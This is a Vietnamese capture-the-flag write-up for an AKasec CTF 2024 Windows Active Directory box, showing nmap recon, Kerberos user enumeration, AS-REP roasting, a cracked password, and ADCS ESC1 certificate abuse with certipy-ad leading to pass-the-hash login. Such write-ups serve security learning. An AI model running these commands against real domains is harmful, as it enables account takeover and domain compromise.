AKasec CTF 2024
Black Box Challenges
BOXS

-> Bắt đầu việc Recon bằng cách Scan port open , các service đang mở
Result :
nmap -A -T4 172.200.160.57 [ 9:53PM ]
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-08 21:54 +07
Nmap scan report for 172.200.160.57
Host is up (0.27s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-08 14:58:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: aka.sex, Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: aka
| NetBIOS_Domain_Name: aka
| NetBIOS_Computer_Name: akasec-ctf-2024
| DNS_Domain_Name: aka.sex
| DNS_Computer_Name: akasec-ctf-2024.aka.sex
| DNS_Tree_Name: aka.sex
| Product_Version: 10.0.17763
|_ System_Time: 2024-06-08T14:59:08+00:00
| ssl-cert: Subject: commonName=akasec-ctf-2024.aka.sex
| Not valid before: 2024-06-06T18:06:03
|_Not valid after: 2024-12-06T18:06:03
|_ssl-date: 2024-06-08T14:59:46+00:00; 0s from scanner time.
Service Info: Host: akasec-ctf-2024; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-06-08T14:59:06
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 326.45 seconds
Sau khi thử qua các cổng 3268 LDAP , và port 80 thì là static web. ( RFC có thể cho phần sau )
Test dịch vụ SMB qua việc login ở user anonymous vì thì có thể nhưng không mở share nên không có gì
-> Thử Brute Force Username của Kerberos , công cụ sử dụng : kerbrute

Các tên người dùng này là hợp lệ, tức là chúng tồn tại trong hệ thống Active Directory của miền aka.sex
. Điều này có nghĩa là các tài khoản này có thể tồn tại và có thể sử dụng để thử các kỹ thuật tấn công khác, chẳng hạn như brute-force mật khẩu hoặc tấn công thông qua các lỗ hổng bảo mật khác.
Tuy nhiên, không phải user nào cũng có thể tồn tại vuln tiếp nền cần test qua các user tìm thấy ở đây
User hợp lệ : joseph.hughes@aka.sex
Cách Kiểm tra , sử dụng bộ công cụ của impacket cụ thể là impacket-GetNPUsers
để trích xuất các thông tin đăng nhập (ticket) Kerberos của người dùng trong một môi trường Active Directory (AD).

joseph.hughes
có hash của user này tiến hành crack ( có thể dùng john hoặc hashcat ) , ở đây mình đã crack xong nên sẽ show ra thôi :

Tìm kiếm các template chứng chỉ dễ bị tấn công có thể bị lợi dụng :
certipy-ad find -scheme ldap -username joseph.hughes -password '!!fth!!692!!gyh!!67t!ha' -dc-ip 172.200.160.57 -stdout -vulnerable
note : trên windows thì chạy certipy còn riêng kali có bộ tool là certipy-ad

Full Result :
certipy-ad find -scheme ldap -username joseph.hughes -password '!!fth!!692!!gyh!!67t!ha' -dc-ip 172.200.160.57 -stdout -vulnerable [11:06PM ]
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 40 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 15 enabled certificate templates
[*] Trying to get CA configuration for 'aka-akasec-ctf-2024-CA' via CSRA
[!] Got error while trying to get CA configuration for 'aka-akasec-ctf-2024-CA' via CSRA: Could not connect: [Errno 111] Connection refused
[*] Trying to get CA configuration for 'aka-akasec-ctf-2024-CA' via RRP
[!] Got error while trying to get CA configuration for 'aka-akasec-ctf-2024-CA' via RRP: [Errno Connection error (10.0.0.9:445)] timed out
[!] Failed to get CA configuration for 'aka-akasec-ctf-2024-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : aka-akasec-ctf-2024-CA
DNS Name : akasec-ctf-2024.aka.sex
Certificate Subject : CN=aka-akasec-ctf-2024-CA, DC=aka, DC=sex
Certificate Serial Number : 3BC6654FD035E194432B15722AFF99D6
Certificate Validity Start : 2024-06-09 12:06:25+00:00
Certificate Validity End : 2029-06-09 12:16:24+00:00
Web Enrollment : Disabled
User Specified SAN : Unknown
Request Disposition : Unknown
Enforce Encryption for Requests : Unknown
Certificate Templates
0
Template Name : 5777eb13-5939-4a48-8d46-8ae561da870a
Display Name : 5777eb13-5939-4a48-8d46-8ae561da870a
Certificate Authorities : aka-akasec-ctf-2024-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : SubjectAltRequireDirectoryGuid
EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 99 years
Renewal Period : 650430 hours
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : AKA.SEX\Domain Users
Object Control Permissions
Owner : AKA.SEX\Enterprise Admins
Full Control Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
Write Owner Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
Write Dacl Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
Write Property Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
[!] Vulnerabilities
ESC1 : 'AKA.SEX\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
1
Template Name : 014ca453-3bea-405a-a9be-fbbada9e1d5a
Display Name : 014ca453-3bea-405a-a9be-fbbada9e1d5a
Certificate Authorities : aka-akasec-ctf-2024-CA
Enabled : True
Client Authentication : False
Enrollment Agent : True
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Certificate Request Agent
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 99 years
Renewal Period : 650430 hours
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : AKA.SEX\Domain Users
Object Control Permissions
Owner : AKA.SEX\Enterprise Admins
Full Control Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
Write Owner Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
Write Dacl Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
Write Property Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
[!] Vulnerabilities
ESC3 : 'AKA.SEX\\Domain Users' can enroll and template has Certificate Request Agent EKU set
2
Template Name : e4bf4d28-76f8-4b2f-b491-7843c4223a92
Display Name : e4bf4d28-76f8-4b2f-b491-7843c4223a92
Enabled : False
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Smart Card Logon
Server Authentication
KDC Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 99 years
Renewal Period : 650430 hours
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : AKA.SEX\Domain Users
Object Control Permissions
Owner : AKA.SEX\Enterprise Admins
Full Control Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
Write Owner Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
Write Dacl Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
Write Property Principals : AKA.SEX\Domain Admins
AKA.SEX\Local System
AKA.SEX\Enterprise Admins
[!] Vulnerabilities
ESC1 : 'AKA.SEX\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
Tận dụng lỗ hổng ở : ESC1 và ESC3
ESC1 (Enrollment Services Configuration 1):
Mô tả: Lỗ hổng này xảy ra khi bất kỳ người dùng nào trong nhóm
Domain Users
có quyền yêu cầu chứng chỉ từ template này, và template cho phép người yêu cầu cung cấp Subject của chứng chỉ. Điều này có thể dẫn đến việc cấp chứng chỉ cho các mục đích xác thực khách hàng (Client Authentication).Templates bị ảnh hưởng:
5777eb13-5939-4a48-8d46-8ae561da870a
e4bf4d28-76f8-4b2f-b491-7843c4223a92
(Template này hiện đang không được kích hoạt -Enabled: False
)
ESC3 (Enrollment Services Configuration 3):
Mô tả: Lỗ hổng này xảy ra khi bất kỳ người dùng nào trong nhóm
Domain Users
có quyền yêu cầu chứng chỉ từ template này, và template này cóCertificate Request Agent EKU
được đặt. Điều này có thể cho phép người yêu cầu chứng chỉ thực hiện các hành động yêu cầu chứng chỉ khác thay mặt cho người khác.Templates bị ảnh hưởng:
014ca453-3bea-405a-a9be-fbbada9e1d5a
Mình sẽ yêu cầu chứng chỉ từ template 5777eb13-5939-4a48-8d46-8ae561da870a
:
certipy-ad req -username joseph.hughes@aka.sex -password '!!fth!!692!!gyh!!67t!ha' -target-ip aka.sex -ca 'aka-akasec-ctf-2024-CA' -template '5777eb13-5939-4a48-8d46-8ae561da870a' -upn 'kexa@aka.sex'
Thu được cert dạng .pfx :


Xác thực vào AD :
sử dụng chứng chỉ PFX để xác thực vào môi trường Active Directory của miền aka.sex
thông qua Domain Controller tại địa chỉ IP 172.200.160.57 của bài.
certipy-ad auth -pfx 'kexa.pfx' -username 'kexa' -domain 'aka.sex' -dc-ip 172.200.160.57

Sau khi có hash bây giờ có thể login với hash này vào server :
có thể sử dụng impacker-smbexec để login vào hoặc crackmapexec cũng có thể được

Flag cần thiết sẽ ở folder User kexa thư mục Desktop :

Last updated